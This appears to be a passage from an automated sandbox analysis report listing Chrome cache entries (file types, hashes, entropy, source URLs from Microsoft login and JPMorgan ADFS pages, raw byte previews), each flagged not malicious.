.CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 25, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlZSrcC7Akxl/k4E08up:6v/lhPWI1k7Tp
MD5:	CA789B9CDDF12E26F897A3042A6783CE
SHA1:	78FEF110F16A8F8EDE11566FD4AACFE22A6FB9E4
SHA-256:	8B2918D18C72894C630AAF044657520B77C81E0F846877C864B2014ED98BF897
SHA-512:	793D989E12AF6ECB16447E9CFAB13FA584921FFE7B279AC5062B1E8A96E2C48F6BD5C3FD63EA214002EC987F492F0DBAD248BC9E8F722687E3878F6EFB31B7D8
Malicious:	false
Preview:	.PNG........IHDR.....................IDAT.....$.....IEND.B`.

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2976
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	7.883358552202844
Encrypted:	false
SSDEEP:	24:XVlGfXfZH9K39qg2SlLhUoBNZmHLpdZEdhtJrs5tJv/JjDryVSMTAD:X6vf+39zdKoBNZmHdPEjrsF/NMTO
MD5:	30438524FECEB78AA33B0421520B6BA2
SHA1:	0BE02316E5D20D5863928C85CC27BB7EFDC6C6EA
SHA-256:	07A0B65A5E211320C66B516BA51933F003C9CA382AB137EF283EC8B60AB93BEB
SHA-512:	4E75E5AD047127C7C1F79D9C9388FD4CDD8FF8F21C51CB39BFE76CC53228ED41DEF0DEAB0A6E860932C39EEF4E065978C61AF5DB44071F38DEE20ED88020AB7C
Malicious:	false
Preview:	...........VmO.H..._1...{........R.A...N'...z./qv..uB...o.!i...x...3.3n..y.o......?u.pu.....1t..o.v.??:y9.S....00.)..#f0.%Ai..+.).,...S...X....!....5..cIh..Z.Gp:...v...?$\|$41.......bA+8..q...4...Q.".<.K..2jlA#G1'%&'.....F0ha..MJ;B.9.5.)..M.N..EL...Qz..B9....v2J..p.G0g..`.,U.....!'@q..B..?...q.m..A=w&.)(b.P..8...2b0..&.I..J.%.M4....(xX... f..Rx......S...\|!..U....%[.....;.7...=..J..L......Y#V.$e.L.Sr.n\|.]}..R.U.:..,.c5cBV.:..?.~....E.....(...........W.B..i.....W.P.=C{x....,7.w}.j....{...\r.....?g..Hx-?.t4.......w....k. .d.a.k(.=K. %.g.].O.V..xX...UC "..R...@.....:.~.)..E.(c....M.7ke..Dh.....N/..b\|.O1..%.g....5A.I...-....H..#e.....V.....>.9bDW....'..\D..)"._.T..t...K..c...1....n'h..n.5.\Kp.8...F.Ol.3.1....<..nr.......z....^.v4....6.\.1.AIe....{<....Gm}..CS.y.T..4.2.....\..1.O.a%t8..M..Pe&K...J..`...0..a..m..jJ....UU`...D..o#.ED...&..+?h.[...+.f^.$.XC.1q+O{.TQ..f.z-^.Svk..;.U.i...i.S.....u..f)y....wx.{l.P\.;.7>=U..I..,.....?<.....u(L........u

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	129118
Entropy (8bit):	4.840813239466485
Encrypted:	false
SSDEEP:	1536:7IaNNtWu3HSJNe2kPWesF0Q7JO8RSocwBCbGgUO:McPiesORdGO
MD5:	784AFCCE8ECEB015D8430C5F9BE23140
SHA1:	C2E56C683162E675D835EB091BE871A44A6846BC
SHA-256:	92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE
SHA-512:	DDB1417DC2810472BD7EE3BFF40D711EA284822B71465FEA6005ABFEA98D806CA276F25CCC0FA19E62465B1F1615CEC95E5CAEF43A729508B504004A69DA08C5
Malicious:	false
URL:	https://idag2.jpmorganchase.com/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE
Preview:	.* {. margin: 0px;. padding: 0px;.}..@font-face {. font-family: 'Open-Sans-JPMC';. src: url('/adfs/portal/css/OpenSans-VariableFont_wdth,wght.css');. font-weight: 300 800;. font-style: normal;.}..html, body {. height: 100%;. width: 100%;. background-color: #ffffff;. color: #000000;. font-weight: normal;. font-family: "Open-Sans-JPMC", "Open Sans", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";. min-width: 500px;. -ms-overflow-style: -ms-autohiding-scrollbar;.}..body {. font-size: 0.9em;.}..#noScript {. margin: 16px;. color: Black;.}..:lang(en-GB) {. quotes: '\2018' '\2019' '\201C' '\201D';.}..:lang(zh) {. font-family: ....;.}..@-ms-viewport {. width: device-width;.}..@-moz-viewport {. width: device-width;.}..@-o-viewport {. width: device-width;.}..@-webkit-viewport {. width: device-width;.}..@viewport {.

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
